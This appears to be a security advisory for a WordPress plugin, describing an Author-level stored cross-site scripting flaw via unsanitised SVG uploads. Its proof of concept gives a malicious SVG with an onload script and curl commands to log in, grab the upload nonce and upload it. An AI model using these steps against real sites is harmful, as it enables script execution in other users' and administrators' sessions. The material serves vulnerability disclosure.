Animation Addons for Elementor < 2.7.0 – Author+ Stored XSS via SVG Upload | CVE 2026-13330

Description

The plugin does not sanitise uploaded SVG/SVGZ files, which it adds to the list of allowed upload types, allowing users with the upload_files capability (Author and above) to upload files containing malicious JavaScript, leading to Stored Cross-Site Scripting.

Proof of Concept

Environment: WordPress with Elementor + Animation Addons for Elementor (<= 2.6.8) active. The attacker is an Author (holds upload_files; Contributor does not, by default). TARGET is the site base URL.

The plugin adds svg and svgz to the WordPress upload_mimes allowlist unconditionally, with no SVG sanitization and no admin-only restriction. WordPress core serves SVG with Content-Type image/svg+xml, so an uploaded SVG containing script executes when its URL is opened in a browser.

Step 1 - Create the malicious SVG (an onload handler in the root <svg> element):
cat > xss.svg <<'EOF'
<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg" width="500" height="120" onload="alert(document.domain)">
  <text x="20" y="60">AAE_SVG_XSS</text>
</svg>
EOF

Step 2 - Log in as Author and keep the cookie jar:
curl -s -c cookies "$TARGET/wp-login.php" -o /dev/null
curl -s -c cookies -b cookies \
  -d "log=author" -d "pwd=password" -d "wp-submit=Log In" \
  -d "redirect_to=$TARGET/wp-admin/media-new.php" -d "testcookie=1" \
  "$TARGET/wp-login.php" -o /dev/null

Step 3 - Read the media upload nonce, then upload the SVG via async-upload.php:
NONCE=$(curl -s -b cookies "$TARGET/wp-admin/media-new.php" | grep -oP '"_wpnonce":"\K[^"]+' | head -1)
curl -s -b cookies "$TARGET/wp-admin/async-upload.php" \
  -F "name=xss.svg" -F "action=upload-attachment" \
  -F "_wpnonce=$NONCE" -F "_ajax_nonce=$NONCE" \
  -F "async-upload=@xss.svg;type=image/svg+xml"
# -> {"success":true,"data":{...,"mime":"image\/svg+xml","url":"https://TARGET/wp-content/uploads/YYYY/MM/xss.svg"}}

Step 4 - Confirm the stored SVG is served inline with the payload intact (= stored XSS):
curl -s -D - "https://TARGET/wp-content/uploads/YYYY/MM/xss.svg"
# -> content-type: image/svg+xml, and the onload="alert(document.domain)" payload is served
#    byte-intact (unsanitized). Opening that URL in a browser fires the alert in the viewer's
#    session (an administrator's, in the worst case). Without the plugin active, WordPress core
#    rejects the SVG upload; the plugin's upload_mimes filter is what enables it.